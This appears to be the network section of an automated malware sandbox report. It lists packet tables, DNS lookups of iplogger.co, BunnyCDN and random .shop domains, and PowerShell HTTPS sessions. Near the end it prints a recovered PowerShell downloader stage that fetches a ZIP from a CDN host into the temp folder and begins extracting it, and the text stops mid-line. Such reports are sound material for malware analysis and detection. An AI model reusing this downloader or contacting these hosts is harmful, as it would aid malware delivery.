Sep 7, 2024 23:15:35.454149961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.454180956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.454612017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.454627991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.454680920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.454687119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.454735994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.455374002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.489487886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.489510059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.489631891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.489648104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.489689112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.540426016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.540448904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.540647984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.540663958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.540685892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.540716887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.540760994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.540896893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.540910006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.540962934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.540970087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.541158915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.541177988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.541218996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.541227102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.541238070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.541238070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.541260958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.541289091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.541300058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.541315079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.543582916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.543606997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.543644905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.543651104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.543662071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.543746948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.543760061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.543812990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.543819904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.578062057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.578089952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.578126907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.578145981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.578160048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.628439903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629064083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629091024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629144907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629153013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629163980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629182100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629196882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629203081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629223108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629237890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629358053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629374027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629426003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629437923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629467010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629728079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629748106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629807949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629816055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629900932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629909992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629925966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.629962921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.629968882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.630019903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.631977081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.632003069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.632106066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.632113934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.632164001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.632167101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.632178068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.632196903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.632219076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.632225990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.632252932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.632363081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.666517019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.666539907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.666614056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.666621923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.666655064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.717516899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717541933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717634916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.717644930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717704058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.717781067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717796087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717847109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.717853069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717890978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.717941046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717957973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.717995882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.718000889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.718019009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.718035936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.718063116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.718080044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.718122959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.718130112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.718179941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.718247890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.718265057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.718300104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.718307018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.718341112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.720350027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.720371962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.720402956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.720412016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.720431089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.720448971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.720557928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.720571995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.720614910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.720622063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.720654964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.755368948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.755383968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.755441904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.755449057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.755500078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.806154966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806169033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806271076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.806282043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806324959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.806451082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806464911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806519985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.806525946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806569099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.806715012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806727886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806787014 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.806794882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.806826115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.807048082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.807063103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.807116032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.807121992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.807163000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.807248116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.807302952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.807307959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.807322979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.807365894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.807642937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:16:22.418570042 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.418603897 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:22.418673992 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.422405958 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.422418118 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:22.885843039 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:22.886002064 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.895056009 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.895075083 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:22.895423889 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:22.941152096 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.960556984 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.960586071 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:22.960731983 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:23.357096910 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:23.357199907 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:23.357367992 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:23.358921051 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:23.358933926 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:23.358951092 CEST	49713	443	192.168.2.8	172.67.200.243
Sep 7, 2024 23:16:23.358956099 CEST	443	49713	172.67.200.243	192.168.2.8
Sep 7, 2024 23:16:23.438273907 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:23.438321114 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:23.438393116 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:23.438741922 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:23.438751936 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:23.922514915 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:23.922838926 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:23.934036016 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:23.934051991 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:23.934334993 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:23.936019897 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:23.936057091 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:23.936096907 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.071562052 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.071614981 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.071638107 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.071697950 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.071696997 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.071758032 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.071770906 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.073796034 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.073874950 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.073925018 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.073945999 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.073956966 CEST	49714	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.073962927 CEST	443	49714	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.174485922 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.174541950 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.174638987 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.175012112 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.175024033 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.673342943 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.673494101 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.674923897 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.674933910 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.675170898 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:24.676469088 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.676506996 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:24.676541090 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:25.136399031 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:25.136511087 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:25.136575937 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:25.136825085 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:25.136842966 CEST	443	49715	172.67.146.35	192.168.2.8
Sep 7, 2024 23:16:25.136854887 CEST	49715	443	192.168.2.8	172.67.146.35
Sep 7, 2024 23:16:25.136861086 CEST	443	49715	172.67.146.35	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2024 23:15:13.929889917 CEST	51250	53	192.168.2.8	1.1.1.1
Sep 7, 2024 23:15:13.939034939 CEST	53	51250	1.1.1.1	192.168.2.8
Sep 7, 2024 23:15:15.880299091 CEST	49918	53	192.168.2.8	1.1.1.1
Sep 7, 2024 23:15:15.890388012 CEST	53	49918	1.1.1.1	192.168.2.8
Sep 7, 2024 23:15:17.778554916 CEST	58233	53	192.168.2.8	1.1.1.1
Sep 7, 2024 23:15:17.787682056 CEST	53	58233	1.1.1.1	192.168.2.8
Sep 7, 2024 23:16:22.399733067 CEST	57060	53	192.168.2.8	1.1.1.1
Sep 7, 2024 23:16:22.412539959 CEST	53	57060	1.1.1.1	192.168.2.8
Sep 7, 2024 23:16:23.402739048 CEST	51777	53	192.168.2.8	1.1.1.1
Sep 7, 2024 23:16:23.411649942 CEST	53	51777	1.1.1.1	192.168.2.8
Sep 7, 2024 23:16:23.414336920 CEST	54990	53	192.168.2.8	1.1.1.1
Sep 7, 2024 23:16:23.423818111 CEST	53	54990	1.1.1.1	192.168.2.8
Sep 7, 2024 23:16:23.426377058 CEST	60285	53	192.168.2.8	1.1.1.1
Sep 7, 2024 23:16:23.437478065 CEST	53	60285	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 7, 2024 23:15:13.929889917 CEST	192.168.2.8	1.1.1.1	0xd3df	Standard query (0)	iplogger.co	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:15:15.880299091 CEST	192.168.2.8	1.1.1.1	0x246f	Standard query (0)	tengkis-txt.b-cdn.net	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:15:17.778554916 CEST	192.168.2.8	1.1.1.1	0xcd2	Standard query (0)	tengkis.b-cdn.net	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:22.399733067 CEST	192.168.2.8	1.1.1.1	0xa1ad	Standard query (0)	bassicnuadnwi.shop	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:23.402739048 CEST	192.168.2.8	1.1.1.1	0x3507	Standard query (0)	locatedblsoqp.shop	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:23.414336920 CEST	192.168.2.8	1.1.1.1	0x5487	Standard query (0)	traineiwnqo.shop	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:23.426377058 CEST	192.168.2.8	1.1.1.1	0xfc74	Standard query (0)	condedqpwqm.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 7, 2024 23:15:13.939034939 CEST	1.1.1.1	192.168.2.8	0xd3df	No error (0)	iplogger.co		172.67.167.249	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:15:13.939034939 CEST	1.1.1.1	192.168.2.8	0xd3df	No error (0)	iplogger.co		104.21.82.93	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:15:15.890388012 CEST	1.1.1.1	192.168.2.8	0x246f	No error (0)	tengkis-txt.b-cdn.net		169.150.247.33	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:15:17.787682056 CEST	1.1.1.1	192.168.2.8	0xcd2	No error (0)	tengkis.b-cdn.net		138.199.36.9	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:22.412539959 CEST	1.1.1.1	192.168.2.8	0xa1ad	No error (0)	bassicnuadnwi.shop		172.67.200.243	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:22.412539959 CEST	1.1.1.1	192.168.2.8	0xa1ad	No error (0)	bassicnuadnwi.shop		104.21.21.231	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:23.411649942 CEST	1.1.1.1	192.168.2.8	0x3507	Name error (3)	locatedblsoqp.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:23.423818111 CEST	1.1.1.1	192.168.2.8	0x5487	Name error (3)	traineiwnqo.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:23.437478065 CEST	1.1.1.1	192.168.2.8	0xfc74	No error (0)	condedqpwqm.shop		172.67.146.35	A (IP address)	IN (0x0001)	false
Sep 7, 2024 23:16:23.437478065 CEST	1.1.1.1	192.168.2.8	0xfc74	No error (0)	condedqpwqm.shop		104.21.10.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

iplogger.co

tengkis-txt.b-cdn.net

tengkis.b-cdn.net

bassicnuadnwi.shop

condedqpwqm.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	172.67.167.249	443	6724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-07 21:15:15 UTC	162	OUT	GET /2h4Cg5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: iplogger.co Connection: Keep-Alive
2024-09-07 21:15:15 UTC	1213	IN	HTTP/1.1 302 Found Date: Sat, 07 Sep 2024 21:15:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close location: https://tengkis-txt.b-cdn.net/de7s.txt set-cookie: 55496318137263905=3; expires=Sun, 07 Sep 2025 21:15:15 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=8.46.123.33; expires=Sun, 07 Sep 2025 21:15:15 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.43135833740234375 expires: Sat, 07 Sep 2024 21:15:15 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pBww7a2kxtpjVc%2BIS7CSW0U70k3bUJrGbdCvWfs8Q1lbOxwvEmWDG0aYykf%2FYGJ2WcChV5mlNWUF2IUBeIInzj5UapNP3CDAz4oR2vANrmEk3Yk%2FMZ2E%2B94Gy%2FeNHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bf9b68d982b191b-EWR alt-svc: h3=":443"; ma=86400
2024-09-07 21:15:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	169.150.247.33	443	6724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-07 21:15:16 UTC	174	OUT	GET /de7s.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tengkis-txt.b-cdn.net Connection: Keep-Alive
2024-09-07 21:15:17 UTC	644	IN	HTTP/1.1 200 OK Date: Sat, 07 Sep 2024 21:15:16 GMT Content-Type: text/plain Content-Length: 314 Connection: close Vary: Accept-Encoding Server: BunnyCDN-DE1-1076 CDN-PullZone: 2503917 CDN-Uid: 3657e97c-50fc-45cf-bdbc-979c3e873a54 CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Sat, 07 Sep 2024 07:53:55 GMT CDN-StorageServer: DE-677 CDN-FileServer: 728 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 09/07/2024 07:54:40 CDN-EdgeStorageId: 1078 CDN-Status: 200 CDN-RequestId: 2b128c2ad9f028187d5d385f0de640b0 CDN-Cache: HIT Accept-Ranges: bytes
2024-09-07 21:15:17 UTC	314	IN	Data Raw: 24 77 65 62 43 6c 69 65 6e 74 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 0a 24 75 72 6c 31 20 3d 20 22 68 74 74 70 73 3a 2f 2f 74 65 6e 67 6b 69 73 2e 62 2d 63 64 6e 2e 6e 65 74 2f 70 65 6c 74 67 6f 6e 2e 7a 69 70 22 0a 24 7a 69 70 50 61 74 68 31 20 3d 20 22 24 65 6e 76 3a 54 45 4d 50 5c 70 67 72 74 31 2e 7a 69 70 22 0a 24 77 65 62 43 6c 69 65 6e 74 2e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 28 24 75 72 6c 31 2c 20 24 7a 69 70 50 61 74 68 31 29 0a 24 65 78 74 72 61 63 74 50 61 74 68 31 20 3d 20 22 24 65 6e 76 3a 54 45 4d 50 5c 66 69 6c 65 22 0a 45 78 70 61 6e 64 2d 41 72 63 68 69 76 65 20 2d 50 61 74 68 20 24 7a 69 70 50 61 74 68 31 20 2d 44 65 73 74 69 6e 61 74 69 6f 6e 50 61 74 68 20 24 65 78 74 72 Data Ascii: $webClient = New-Object System.Net.WebClient$url1 = "https://tengkis.b-cdn.net/peltgon.zip"$zipPath1 = "$env:TEMP\pgrt1.zip"$webClient.DownloadFile($url1, $zipPath1)$extractPath1 = "$env:TEMP\file"Expand-Archive -Path $zipPath1 -DestinationPath $extr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
